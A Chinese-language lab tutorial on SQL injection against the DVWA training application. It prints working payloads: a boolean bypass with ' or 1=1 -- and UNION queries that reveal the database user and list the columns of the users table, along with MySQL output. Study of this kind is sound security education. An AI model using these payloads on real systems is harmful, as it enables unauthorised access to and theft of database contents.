owasp SQL 注入-03 (原理)

1: 先看一下注入界面:

点submit 后,可以看到有语法报错,说明已经起作用了:

报如下的错误:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1

2:

SQL 注入语句解析:

Mysql>select first_name,last_name from dvwa.users;

Mysql>select first_name,last_name from dvwa.users where user_id='1';

mysql> select first_name,last_name from dvwa.users where user_id='1';

+------------+-----------+

| first_name | last_name |

+------------+-----------+

| admin | admin |

+------------+-----------+

1 row in set (0.00 sec)

2: 下面开始布尔注入:( or 或 and 和 的测试)

点击submit 看结果:

原因是: 先看上面的注入语句:

Mysql>select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- sheng';

看到上面的标绿色的 已经闭环了,后面的 -- 就把后面的所有的 开始认为是 注释内容,不参加反应了。

下面总结一下:

mysql> select first_name,last_name from dvwa.users where user_id=' ' union select user(),database() --'

'> ';

+----------------+-----------+

| first_name | last_name |

+----------------+-----------+

| root@localhost | NULL |

+----------------+-----------+

1 row in set (0.00 sec)

--

这条语句就可以看出是哪个user 来链接数据库的:

'union select user(), database() -- '

注意: 上面的语句-- 后面有空格:

看执行结果:

可以看到是用dvwa 用户来链接数据库的。

下面的SQL 注入的语句如下:

下面是关于字段的 SQL 注入语句:

下面看一下 输出结果:

'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name='users' -- '

下面输出结果:

可以看出后面表的字段,就是这样被SQL 注入得到信息的。

参考文献: 13.SQL注入攻击_哔哩哔哩_bilibili

相关推荐
Poo_Chai31 分钟前
QT emit信号后完整处理流程,包括槽函数响应流程
java·开发语言·数据库
茶本无香1 小时前
Java调用Shell脚本执行SQL数据库操作:从入门到实战
java·sql·shell
这个DBA有点耶1 小时前
从DBA到数据架构师(五):数据架构演进中的技术债务管理
数据库·程序人生·云原生·架构·dba·数据库管理员
Bruce_Liuxiaowei2 小时前
基于微步在线威胁情报的公网 IP 攻击迹象监测:threatbook_query 脚本全解析与 BruceSec 平台整合实践
数据库·tcp/ip·安全·网络安全·智能体
码农颜2 小时前
5.6.2 ⾏级锁死锁
数据库·sql·oracle
ChaHae-In3 小时前
MyBatis动态SQL与MyBatis-Plus高效开发指南
数据库·oracle·mybatis
冰暮流星3 小时前
mysql之分组查询
数据库·mysql
倒流时光三十年3 小时前
PostgreSQL Semi-Join(半连接)通俗讲解
数据库·postgresql
NiceCloud喜云4 小时前
腾讯云国际版云数据库选型:MySQL、Redis 怎么按业务架构来判断
数据库·mysql·腾讯云
ew452184 小时前
MySQL JOIN 关联语法、差异、标准用法、经典坑点汇总
数据库·mysql